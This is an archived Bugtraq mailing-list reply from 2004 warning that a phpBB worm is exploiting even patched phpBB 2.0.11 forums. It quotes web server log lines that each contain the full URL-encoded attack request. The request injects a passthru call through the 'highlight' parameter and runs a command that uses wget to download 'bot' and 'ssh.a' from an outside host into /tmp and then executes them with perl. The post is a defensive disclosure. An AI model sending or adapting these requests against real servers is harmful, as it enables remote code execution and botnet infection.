bugtraq - Re: phpBB Worm

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Date: Fri, 24 Dec 2004 19:12:22 +0100 (CET)
From: Raymond Dijkxhoorn <raymond@...location.net>
To: steve@...ime.org.uk
Cc: bugtraq@...urityfocus.com
Subject: Re: phpBB Worm


Hi!

>> This assumes you're seeing GET-requests, but there are other ways
>> (e.g. POST) to exploit such code.

> Whilst I understand your point, it should be noted that this 
> vulnerability in phpBB is susceptible only to GET-based attacks: the 
> vulnerable data is sourced from $HTTP_GET_VARS.

And it seems worse, we see even upgraded phpbb2 installs (2.0.11) 
succesfully and activly being exploited.

216.22.10.90 - - [24/Dec/2004:18:42:54 +0100] "GET 
/phpBB2/viewtopic.php?t=753&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd%20/tmp;wget%20civa.org/pdf/bot;perl%20bot;wget%20civa.org/pdf/ssh.a;perl%20ssh.a%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527 
HTTP/1.1" 200 12758 "-" "LWP::Simple/5.803"
66.152.98.103 - - [24/Dec/2004:19:02:15 +0100] "GET 
/phpBB2/viewtopic.php?t=753&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd%20/tmp;wget%20civa.org/pdf/bot;perl%20bot;wget%20civa.org/pdf/ssh.a;perl%20ssh.a%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527 
HTTP/1.1" 200 12758 "-" "LWP::Simple/5.79"
64.62.187.10 - - [24/Dec/2004:19:04:11 +0100] "GET 
/phpBB2/viewtopic.php?t=817&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd%20/tmp;wget%20civa.org/pdf/bot;perl%20bot;wget%20civa.org/pdf/ssh.a;perl%20ssh.a%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527 
HTTP/1.1" 200 68131 "-" "LWP::Simple/5.63"
[24/Dec/2004:19:09:26 +0100] "GET 
/phpBB2/viewtopic.php?p=7222&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd%20/tmp;wget%20civa.org/pdf/bot;perl%20bot;wget%20civa.org/pdf/ssh.a;perl%20ssh.a%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527 
HTTP/1.1" 200 20767 "-" "LWP::Simple/5.803"
205.214.85.184 - - [24/Dec/2004:19:10:18 +0100] "GET 
/phpBB2/viewtopic.php?p=7222&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd%20/tmp;wget%20civa.org/pdf/bot;perl%20bot;wget%20civa.org/pdf/ssh.a;perl%20ssh.a%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527 
HTTP/1.1" 200 20875 "-" "LWP::Simple/5.802"

Loads of those, and all request the files from civa.org

This is on a patched phpbb2, so be aware!!

Bye,
Raymond.